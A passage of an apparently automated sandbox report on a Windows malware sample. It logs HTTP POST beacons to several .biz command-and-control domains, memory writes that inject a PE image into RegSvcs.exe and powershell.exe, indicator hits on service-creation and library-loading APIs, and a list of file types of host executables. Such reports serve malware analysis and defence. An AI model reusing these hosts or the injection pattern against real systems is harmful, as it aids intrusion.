Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 842" "POST /mdfdfxgnrejf HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: yunalwv.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 842" "POST /hhb HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: yunalwv.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 842" "POST /piyuaqnwgrufdfb HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: dlynankz.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 842" "POST /foaa HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: dlynankz.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 842" "POST /iwpckjq HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: gjogvvpsf.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 842" "POST /hrbpbejavxmu HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: gjogvvpsf.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 842"71:T4190,"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "1596" "Buffer": "0100000000000000010000000000000000000000000000000000000000000000" "NumberOfBytesToWrite": "32" "NumberOfBytesWritten": "0" "$name": "C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe"} "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "1596" "Buffer": "9a8b1335965dbd4f8e2da2440225f93a9a8b1335965dbd4f8e2da2440225f93a0000000000000000000000000000000000000000" "NumberOfBytesToWrite": "52" "NumberOfBytesWritten": "0" "$name": "C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe"} "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "1596" "Buffer": "458752" "NumberOfBytesToWrite": "4" "NumberOfBytesWritten": "0" "$name": "C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe"} "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "1596" "Buffer": "458752" "NumberOfBytesToWrite": "8" "NumberOfBytesWritten": "0" "$name": "C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe"} "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "1600" "Buffer": "00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000dc050000abed0dac243f0300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000010000001111111111111111111111111111111100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" "NumberOfBytesToWrite": "1500" "NumberOfBytesWritten": "0" "$name": "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegSvcs.exe"} "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "1600" "Buffer": "458752" "NumberOfBytesToWrite": "4" "NumberOfBytesWritten": "0" "$name": "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegSvcs.exe"} "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "1600" "Buffer": "458752" "NumberOfBytesToWrite": "8" "NumberOfBytesWritten": "0" "$name": "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegSvcs.exe"} "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "1600" "Buffer": "0100000000000000010000000000000000000000000000000000000000000000" "NumberOfBytesToWrite": "32" "NumberOfBytesWritten": "0" "$name": "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegSvcs.exe"} "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "1600" "Buffer": "9a8b1335965dbd4f8e2da2440225f93a9a8b1335965dbd4f8e2da2440225f93a0000000000000000000000000000000000000000" "NumberOfBytesToWrite": "52" "NumberOfBytesWritten": "0" "$name": "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegSvcs.exe"} "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "1600" "Buffer": "524288" "NumberOfBytesToWrite": "4" "NumberOfBytesWritten": "0" "$name": "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegSvcs.exe"} "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "1600" "Buffer": "524288" "NumberOfBytesToWrite": "8" "NumberOfBytesWritten": "0" "$name": "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegSvcs.exe"} "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "1600" "Buffer": "4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000b80000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a24000000000000007de6a3d93987cd8a3987cd8a3987cd8aba9bc38a3887cd8a5098c48a3f87cd8ad098c08a3887cd8a526963683987cd8a0000000000000000504500004c010300c246f7680000000000000000e0000f010b01060000e006000020000000000000283f00000010000000f006000000400000100000001000000400000003000400040000000000000000001e00001000003b121e0002000000000010000010000000001000001000000000000010000000000000000000000044d306002800000000000700f008000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000280200002000000000100000740300000000000000000000000000000000000000000000000000002e74657874000000fcd106000010000000e0060000100000000000000000000000000000200000602e64617461000000c80f000000f006000010000000f00600000000000000000000000000400000c02e72737263000000000017000000070000f0160000000700000000000000000000000000400000e0c31fb0491000000000000000000000004d535642564d36302e444c4c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" "NumberOfBytesToWrite": "4096" "NumberOfBytesWritten": "4096" "$name": "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegSvcs.exe"} "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "1600" "Buffer": "41981066ea7710661961106686930f66f9090f6637050e6666a20d66ee6a10668d72106694970e6644c20c66316810669b6a0e6629190e66fa560e6662721066ba020f661b761066c20f0e66b2c40d66bc631066c39f0d66b7700e667c1a0e6657c40d6641090f6697b70d66ca9c0d66e1490e66f3a00d66b35f1066766a0e662b640f66e5760e663ac30c6604b70d6602640d6674a20d667f6c0e669dc80d6688c90d66ab6a0e666e020f664039106635db0d6660db0d66fec10d66db95106684c40d66758c1066ed0f0e6605cd0d66cc9310666c601066484a0e663acd0d66034d0e66f19f0d6632d10d669d490e6606030f6608a00d6606040f66f7e00c663bc40d6652960e66730d0e6621760e6617c40d668571106673981066ee940f66fdc00d66e26f0e6699820f66b97d0e66c1991066c4601066a26e10662f700e66ea620f66fb7d0e667d410d66749b0c668a7f0e6610c40d66de560e664664106696950e66415d0d66aec60d66f6971066501a0e66a5570e66b4c90d66cac90d66081a0e66a9a10d66fda00066b2951066c78d106634751066fa010e6639c30d6628c60d66f6090f6618960e66cf190e660ac30d665db70d66fd4d0e66879b0c6604a20d66dc190e6693950f66c8960d6689951066859a0c6616870f66403a106660761066d4040e66f2190e66df470e66db7d0f66a3500d66c4890f661dbf0c6624641066267e0e6689060f66ba030f664d7f0e662d100e66685c0d66560f0e66895c0d66d1970d66137510669a5c0d668d730e66e98f0e665ac60d6648190e6650570e667d690e66160d0e66214e0e66be0e0e6699de0d66f7530d662b940f6667e80c66103d0d6696a2006637a20d66ec3a106618560e66a88d106675420d663a030f6690120e663a040f6681130e661fa00d664a6c0e66e3da0d665e100e66016c0e66649510666e030f66ca110e66a9fd0e667def0d66a435006624620d660f981066c7a00d662f4e0e6694621066b9220d66d9c60d66c1771066b88c1066d7a30066f66d1066597510669a6d0e668c8d106670751066b86b106649a00d664d8c1066ad6d0e66c0920f66ed5d10669e6e0e666d190e660dc20c66306c0e661563106646060e660a980e66b16e0e66edee0e66e28d106644960f6611601066191d0d66fcc60d66134e0e66fa93106611dd0e66227c0e66284e0e664d620d66af9f0d6621b70d66ec6b0e665a320d66000000000000000021001400fe4544000000000000000000000000009013400004000000d5454400dc454400eb454400f7454400000000002100140092464400000000000000000000000000c013400003000000754644007c4644008b46440000000000000000002100140032474400000000000000000000000000f013400003000000154744001c4744002b474400" "NumberOfBytesToWrite": "450560" "NumberOfBytesWritten": "450560" "$name": "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegSvcs.exe"} "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "1600" "Buffer": "00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" "NumberOfBytesToWrite": "4096" "NumberOfBytesWritten": "4096" "$name": "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegSvcs.exe"} "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "1600" "Buffer": "00000000c246f768f0f004000000030003000000580000800e00000040000080100000002800008000000000c246f768f0f0040000000100010000008000008000000000c246f768f0f0040000000100010000009800008000000000c246f768f0f004000000030031750000e000008032750000c800008033750000b000008000000000c246f768f0f004000000010009040000f800000000000000c246f768f0f0040000000100000000000801000000000000c246f768f0f0040000000100000000001801000000000000c246f768f0f0040000000100000000002801000000000000c246f768f0f004000000010000000000380100005001070030020000b0040000000000008003070030000000b004000000000000b003070028010000b004000000000000d8040700e8020000b004000000000000c007070030010000b0040000000000000000000000000000300234000000560053005f00560045005200530049004f004e005f0049004e0046004f0000000000bd04effe000001000400030005000000040003000500000000000000000000000400000001000000000000000000000000000000440000000000560061007200460069006c00650049006e0066006f00000000002400040000005400720061006e0073006c006100740069006f006e00000000000904b00490010000010053007400720069006e006700460069006c00650049006e0066006f0000006c010000010030003400300039003000340042003000000034001400010043006f006d00700061006e0079004e0061006d006500000000004d006900630072006f0073006f00660074000000340012000100500072006f0064007500630074004e0061006d00650000000000500072006f006a00650063007400310000000000340014000100460069006c006500560065007200730069006f006e000000000033002e00300034002e0030003000300035000000380014000100500072006f006400750063007400560065007200730069006f006e00000033002e00300034002e003000300030003500000038001600010049006e007400650072006e0061006c004e0061006d0065000000670061006c006c0066006c006f007700650072000000000048001e0001004f0072006900670069006e0061006c00460069006c0065006e0061006d0065000000670061006c006c0066006c006f007700650072002e006500780065000000000000000100030020200200010001003001000031752020100001000400e8020000327510101000010004002801000033752800000010000000200000000100040000000000c0000000000000000000000000000000000000000000000000008000008000000080800080000000800080008080000080808000c0c0c0000000ff00" "NumberOfBytesToWrite": "1503232" "NumberOfBytesWritten": "1503232" "$name": "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegSvcs.exe"} "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "1600" "Buffer": "4194304" "NumberOfBytesToWrite": "4" "NumberOfBytesWritten": "4" "$name": "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegSvcs.exe"} "SearchIndexer.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "2564" "Buffer": "0100000000000000010000000000000000000000000000000000000000000000" "NumberOfBytesToWrite": "32" "$name": "C:\\Windows\\System32\\SearchProtocolHost.exe"} "SearchIndexer.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "2564" "Buffer": "9a8b1335965dbd4f8e2da2440225f93a9a8b1335965dbd4f8e2da2440225f93a0000000000000000000000000000000000000000" "NumberOfBytesToWrite": "52" "$name": "C:\\Windows\\System32\\SearchProtocolHost.exe"} "SearchIndexer.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "2564" "NumberOfBytesToWrite": "8" "$name": "C:\\Windows\\System32\\SearchProtocolHost.exe"} "SearchIndexer.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "2628" "Buffer": "0100000000000000010000000000000000000000000000000000000000000000" "NumberOfBytesToWrite": "32" "$name": "C:\\Windows\\System32\\SearchFilterHost.exe"} "SearchIndexer.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "2628" "Buffer": "9a8b1335965dbd4f8e2da2440225f93a9a8b1335965dbd4f8e2da2440225f93a0000000000000000000000000000000000000000" "NumberOfBytesToWrite": "52" "$name": "C:\\Windows\\System32\\SearchFilterHost.exe"} "SearchIndexer.exe" called "NtWriteVirtualMemory" with parameters {"ProcessHandle": "2628" "NumberOfBytesToWrite": "8" "$name": "C:\\Windows\\System32\\SearchFilterHost.exe"}72:T8fa,Found reference to API "CreateServiceW" (Indicator: "CreateService"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "RegisterServiceCtrlHandlerW" (Indicator: "RegisterServiceCtrlHandler"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "RegisterServiceCtrlHandlerExW" (Indicator: "RegisterServiceCtrlHandler"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "RegisterServiceCtrlHandler Failed" (Indicator: "RegisterServiceCtrlHandler"; Source: "00000000-00001292.00000002.75845.00001000.00000020.mdmp") Found reference to API "RegisterServiceCtrlHandlerW" (Indicator: "RegisterServiceCtrlHandler"; Source: "00000000-00001292.00000002.75845.00001000.00000020.mdmp, 00000000-00002220.00000000.70553.40001000.00000020.mdmp, 00000000-00002896.00000000.72391.00001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00004204.00000000.71804.00001000.00000020.mdmp, 00000000-00004600.00000001.72048.00001000.00000020.mdmp") Found reference to API "RegisterServiceCtrlHandlerA" (Indicator: "RegisterServiceCtrlHandler"; Source: "00000000-00001828.00000001.73975.00001000.00000020.mdmp") Found reference to API "CreateServiceW" (Indicator: "CreateService"; Source: "00000000-00002896.00000000.72391.00001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00003376.00000000.70935.4001D000.00000002.mdmp, 00000000-00004204.00000000.71804.00001000.00000020.mdmp") Found reference to API "RegisterServiceCtrlHandlerExW" (Indicator: "RegisterServiceCtrlHandler"; Source: "00000000-00003376.00000000.70935.4001D000.00000002.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "RegisterServiceCtrlHandler failed." (Indicator: "RegisterServiceCtrlHandler"; Source: "00000000-00004204.00000000.71804.00001000.00000020.mdmp") Found reference to API "RtlCreateServiceSid" (Indicator: "CreateService"; Source: "00000000-00004204.00000000.71804.00001000.00000020.mdmp") Found reference to API "RegisterServiceCtrlHandlerEx failed. 0x%08lx" (Indicator: "RegisterServiceCtrlHandler"; Source: "00000000-00004504.00000000.72490.00001000.00000020.mdmp")73:T564,Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; File: "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00002220.00000000.70553.40001000.00000020.mdmp, 00000000-00002896.00000000.72391.00001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00004204.00000000.71804.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00002896.00000000.72391.00001000.00000020.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00003376.00000000.70935.4001D000.00000002.mdmp, 00000000-00004204.00000000.71804.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp")74:T527,Found reference to API "RegisterDeviceNotificationW" (Indicator: "RegisterDeviceNotification"; File: "00000000-00004520.00000001.74685.00051000.00000002.mdmp") Found reference to API "RegisterDeviceNotification, 1, error=%ld" (Indicator: "RegisterDeviceNotification"; Source: "00000000-00002896.00000000.72391.00001000.00000020.mdmp") Found reference to API "VDS(0X0204000E): RegisterDeviceNotification failed: %ld" (Indicator: "RegisterDeviceNotification"; Source: "00000000-00002896.00000000.72391.00001000.00000020.mdmp") Found reference to API "VDS(0X02040000): RegisterDeviceNotification failed: %lX" (Indicator: "RegisterDeviceNotification"; Source: "00000000-00002896.00000000.72391.00001000.00000020.mdmp") Found reference to API "VDS(0X02040001): RegisterDeviceNotification failed: %ld" (Indicator: "RegisterDeviceNotification"; Source: "00000000-00002896.00000000.72391.00001000.00000020.mdmp") Found reference to API "VDS(0X02040016): RegisterDeviceNotification failed: %ld" (Indicator: "RegisterDeviceNotification"; Source: "00000000-00002896.00000000.72391.00001000.00000020.mdmp") Found reference to API "RegisterDeviceNotificationW" (Indicator: "RegisterDeviceNotification"; Source: "00000000-00002896.00000000.72391.00001000.00000020.mdmp, 00000000-00004504.00000000.72490.00001000.00000020.mdmp")75:T38dc,"chrmstp.exe" has type "PE32+ executable for MS Windows 5.02 (GUI) x86-64 15 sections"- [targetUID: N/A] "AcroRd32.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"- [targetUID: N/A] "elevation_service.exe" has type "PE32+ executable for MS Windows 5.02 (GUI) x86-64 12 sections"- [targetUID: N/A] "wmpnetwk.exe" has type "PE32+ executable for MS Windows 6.01 (console) x86-64 5 sections"- [targetUID: N/A] "7zG.exe" has type "PE32+ executable for MS Windows 5.02 (GUI) x86-64 5 sections"- [targetUID: N/A] "chrome_pwa_launcher.exe" has type "PE32+ executable for MS Windows 5.02 (GUI) x86-64 13 sections"- [targetUID: N/A] "cblauncher.exe" has type "PE32+ executable for MS Windows 6.00 (console) x86-64 7 sections"- [targetUID: N/A] "dwtrig20.exe" has type "PE32 executable for MS Windows 5.01 (GUI) Intel i386 4 sections"- [targetUID: N/A] "Aut2exe_x64.exe" has type "PE32+ executable for MS Windows 5.02 (GUI) x86-64 5 sections"- [targetUID: N/A] "Aut2exe.exe" has type "PE32 executable for MS Windows 5.01 (GUI) Intel i386 4 sections"- [targetUID: N/A] "setup.exe" has type "PE32+ executable for MS Windows 5.02 (GUI) x86-64 6 sections"- [targetUID: N/A] "7z.exe" has type "PE32+ executable for MS Windows 5.02 (console) x86-64 5 sections"- [targetUID: N/A] "firefox.exe" has type "PE32+ executable for MS Windows 6.01 (GUI) x86-64 8 sections"- [targetUID: N/A] "notification_helper.exe" has type "PE32+ executable for MS Windows 5.02 (GUI) x86-64 13 sections"- [targetUID: N/A] "rawshark.exe" has type "PE32+ executable for MS Windows 6.00 (console) x86-64 7 sections"- [targetUID: N/A] "LogTransport2.exe" has type "PE32 executable for MS Windows 6.00 (console) Intel i386 5 sections"- [targetUID: N/A] "updater.exe" has type "PE32+ executable for MS Windows 6.01 (GUI) x86-64 8 sections"- [targetUID: N/A] "text2pcap.exe" has type "PE32+ executable for MS Windows 6.00 (console) x86-64 7 sections"- [targetUID: N/A] "editcap.exe" has type "PE32+ executable for MS Windows 6.00 (console) x86-64 7 sections"- [targetUID: N/A] "WatAdminSvc.exe.bin" has type "PE32+ executable for MS Windows 5.02 (GUI) x86-64 6 sections"- [targetUID: N/A] "capinfos.exe" has type "PE32+ executable for MS Windows 6.00 (console) x86-64 7 sections"- [targetUID: N/A] "mergecap.exe" has type "PE32+ executable for MS Windows 6.00 (console) x86-64 7 sections"- [targetUID: N/A] "reordercap.exe" has type "PE32+ executable for MS Windows 6.00 (console) x86-64 7 sections"- [targetUID: N/A] "javaws.exe" has type "PE32+ executable for MS Windows 5.02 (GUI) x86-64 6 sections"- [targetUID: N/A] "airappinstaller.exe" has type "PE32 executable for MS Windows 5.00 (GUI) Intel i386 5 sections"- [targetUID: N/A] "AcroBroker.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"- [targetUID: N/A] "64BitMAPIBroker.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 6 sections"- [targetUID: N/A] "VMwareXferlogs.exe" has type "PE32+ executable for MS Windows 6.00 (console) x86-64 7 sections"- [targetUID: N/A] "Au3Info_x64.exe" has type "PE32+ executable for MS Windows 5.02 (GUI) x86-64 6 sections"- [targetUID: N/A] "Au3Info.exe" has type "PE32 executable for MS Windows 5.01 (GUI) Intel i386 5 sections"- [targetUID: N/A] "javaw.exe" has type "PE32+ executable for MS Windows 5.02 (GUI) x86-64 6 sections"- [targetUID: N/A] "java.exe" has type "PE32+ executable for MS Windows 5.02 (console) x86-64 6 sections"- [targetUID: N/A] "unpack200.exe" has type "PE32+ executable for MS Windows 5.02 (console) x86-64 7 sections"- [targetUID: N/A] "Au3Check.exe" has type "PE32 executable for MS Windows 5.01 (console) Intel i386 4 sections"- [targetUID: N/A] "maintenanceservice.exe" has type "PE32+ executable for MS Windows 6.01 (GUI) x86-64 8 sections"- [targetUID: N/A] "crashreporter.exe" has type "PE32+ executable for MS Windows 6.01 (GUI) x86-64 8 sections"- [targetUID: N/A] "rpctool.exe" has type "PE32+ executable for MS Windows 6.00 (console) x86-64 7 sections"- [targetUID: N/A] "comreg.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 6 sections"- [targetUID: N/A] "ose.exe" has type "PE32+ executable for MS Windows 5.02 (GUI) x86-64 6 sections"- [targetUID: N/A] "chrome_proxy.exe" has type "PE32+ executable for MS Windows 5.02 (GUI) x86-64 12 sections"- [targetUID: N/A] "GoogleUpdate.exe" has type "PE32 executable for MS Windows 5.01 (GUI) Intel i386 5 sections"- [targetUID: N/A] "mscorsvw.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 6 sections"- [targetUID: N/A] "WCChromeNativeMessagingHost.exe" has type "PE32 executable for MS Windows 6.00 (console) Intel i386 5 sections"- [targetUID: N/A] "AutoIt3_x64.exe" has type "PE32+ executable for MS Windows 5.02 (GUI) x86-64 6 sections"- [targetUID: N/A] "ADelRCP.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 6 sections"- [targetUID: N/A] "ehsched.exe" has type "PE32+ executable for MS Windows 6.01 (GUI) x86-64 6 sections"- [targetUID: N/A] "mscorsvw.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"- [targetUID: N/A] "AutoIt3Help.exe" has type "PE32 executable for MS Windows 5.01 (GUI) Intel i386 5 sections"- [targetUID: N/A] "rpcapd.exe" has type "PE32 executable for MS Windows 4.00 (console) Intel i386 4 sections"- [targetUID: N/A] "wow_helper.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 6 sections"- [targetUID: N/A] "jp2launcher.exe" has type "PE32+ executable for MS Windows 5.02 (GUI) x86-64 6 sections"- [targetUID: N/A] "32BitMAPIBroker.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"- [targetUID: N/A] "plugin-container.exe" has type "PE32+ executable for MS Windows 6.01 (GUI) x86-64 8 sections"- [targetUID: N/A] "VMToolsHookProc.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"- [targetUID: N/A] "VMwareResolutionSet.exe" has type "PE32+ executable for MS Windows 6.00 (console) x86-64 6 sections"- [targetUID: N/A] "mscorsvw.exe" has type "PE32+ executable for MS Windows 5.02 (GUI) x86-64 4 sections"- [targetUID: N/A] "arh.exe" has type "PE32 executable for MS Windows 5.00 (console) Intel i386 5 sections"- [targetUID: N/A] "Eula.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"- [targetUID: N/A] "javacpl.exe" has type "PE32+ executable for MS Windows 5.02 (GUI) x86-64 6 sections"- [targetUID: N/A] "VMwareToolboxCmd.exe" has type "PE32+ executable for MS 